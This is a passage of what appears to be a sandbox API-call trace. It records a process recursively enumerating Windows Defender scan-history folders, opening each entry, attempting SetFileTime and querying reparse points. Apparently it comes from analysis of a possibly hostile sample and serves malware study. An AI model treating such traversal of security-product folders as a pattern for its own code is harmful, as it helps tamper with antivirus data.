(HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0092.288] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0092.288] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7690f9e4, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7690f9e4, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scans", cAlternateFileName="")) returned 1 [0092.288] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0092.288] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7690f9e4, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7690f9e4, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.288] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0092.288] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0092.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.289] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0092.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.289] NtClose (Handle=0x15c) returned 0x0 [0092.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0092.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0092.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0092.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0092.290] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0092.290] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7690f9e4, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7690f9e4, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.290] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0092.290] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 0 [0092.291] GetLastError () returned 0x12 [0092.291] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9200 [0092.291] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.291] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7690f9e4, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7690f9e4, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.291] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0092.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc048 [0092.291] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.291] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0092.292] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0092.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.292] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0092.292] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.292] NtClose (Handle=0x15c) returned 0x0 [0092.293] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc048) returned 1 [0092.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc048 [0092.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.293] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0092.294] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.294] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76b24d28, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xcfc0a7e0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0xcfc0a7e0, ftLastWriteTime.dwHighDateTime=0x1d2faf9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CacheManager", cAlternateFileName="")) returned 1 [0092.294] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xa13d69d0, ftLastAccessTime.dwHighDateTime=0x1d2dda3, ftLastWriteTime.dwLowDateTime=0xa13d69d0, ftLastWriteTime.dwHighDateTime=0x1d2dda3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Results", cAlternateFileName="")) returned 1 [0092.294] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xb9820270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb9820270, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Service", cAlternateFileName="")) returned 1 [0092.294] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Store", cAlternateFileName="")) returned 1 [0092.294] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Store", cAlternateFileName="")) returned 0 [0092.294] GetLastError () returned 0x12 [0092.294] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0092.294] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.294] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.294] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76b24d28, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xcfc0a7e0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0xcfc0a7e0, ftLastWriteTime.dwHighDateTime=0x1d2faf9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CacheManager", cAlternateFileName="")) returned 1 [0092.294] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368268 [0092.295] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.295] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136ca98 [0092.295] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\cachemanager"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76b24d28, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xcfc0a7e0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0xcfc0a7e0, ftLastWriteTime.dwHighDateTime=0x1d2faf9, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.296] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\cachemanager"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0092.296] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0092.296] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.296] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0092.296] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.296] NtClose (Handle=0x15c) returned 0x0 [0092.297] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136ca98) returned 1 [0092.297] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.297] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.297] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136ca98 [0092.298] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.298] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f40 [0092.298] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76b24d28, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xcfc0a7e0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0xcfc0a7e0, ftLastWriteTime.dwHighDateTime=0x1d2faf9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.298] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcfc0a7e0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xcfc0a7e0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0xcfc30940, ftLastWriteTime.dwHighDateTime=0x1d2faf9, nFileSizeHigh=0x0, nFileSizeLow=0x33b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpSfc.bin", cAlternateFileName="")) returned 1 [0092.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136cba0 [0092.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8b18 [0092.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e040 [0092.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.301] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcfc0a7e0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xcfc0a7e0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0xcfc30940, ftLastWriteTime.dwHighDateTime=0x1d2faf9, nFileSizeHigh=0x0, nFileSizeLow=0x33b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpSfc.bin", cAlternateFileName="")) returned 0 [0092.301] GetLastError () returned 0x12 [0092.301] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9100 [0092.301] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.301] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76b24d28, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xcfc0a7e0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0xcfc0a7e0, ftLastWriteTime.dwHighDateTime=0x1d2faf9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.301] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcfc0a7e0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xcfc0a7e0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0xcfc30940, ftLastWriteTime.dwHighDateTime=0x1d2faf9, nFileSizeHigh=0x0, nFileSizeLow=0x33b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpSfc.bin", cAlternateFileName="")) returned 1 [0092.301] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcfc0a7e0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xcfc0a7e0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0xcfc30940, ftLastWriteTime.dwHighDateTime=0x1d2faf9, nFileSizeHigh=0x0, nFileSizeLow=0x33b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpSfc.bin", cAlternateFileName="")) returned 0 [0092.301] GetLastError () returned 0x12 [0092.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.301] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0092.302] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136cba0) returned 1 [0092.302] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136ca98) returned 1 [0092.302] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xa13d69d0, ftLastAccessTime.dwHighDateTime=0x1d2dda3, ftLastWriteTime.dwLowDateTime=0xa13d69d0, ftLastWriteTime.dwHighDateTime=0x1d2dda3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Results", cAlternateFileName="")) returned 1 [0092.302] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136ca98 [0092.302] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\results"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xa13d69d0, ftLastAccessTime.dwHighDateTime=0x1d2dda3, ftLastWriteTime.dwLowDateTime=0xa13d69d0, ftLastWriteTime.dwHighDateTime=0x1d2dda3, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.303] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\results"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0092.303] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0092.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.303] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0092.304] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.304] NtClose (Handle=0x16c) returned 0x0 [0092.304] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136ca98) returned 1 [0092.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136ca98 [0092.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136cba0 [0092.305] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9100 [0092.305] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xa13d69d0, ftLastAccessTime.dwHighDateTime=0x1d2dda3, ftLastWriteTime.dwLowDateTime=0xa13d69d0, ftLastWriteTime.dwHighDateTime=0x1d2dda3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.305] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa13d69d0, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0x80be8ad0, ftLastAccessTime.dwHighDateTime=0x1d33740, ftLastWriteTime.dwLowDateTime=0x80be8ad0, ftLastWriteTime.dwHighDateTime=0x1d33740, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource", cAlternateFileName="")) returned 1 [0092.305] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa13d69d0, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0x80be8ad0, ftLastAccessTime.dwHighDateTime=0x1d33740, ftLastWriteTime.dwLowDateTime=0x80be8ad0, ftLastWriteTime.dwHighDateTime=0x1d33740, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource", cAlternateFileName="")) returned 0 [0092.305] GetLastError () returned 0x12 [0092.305] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, 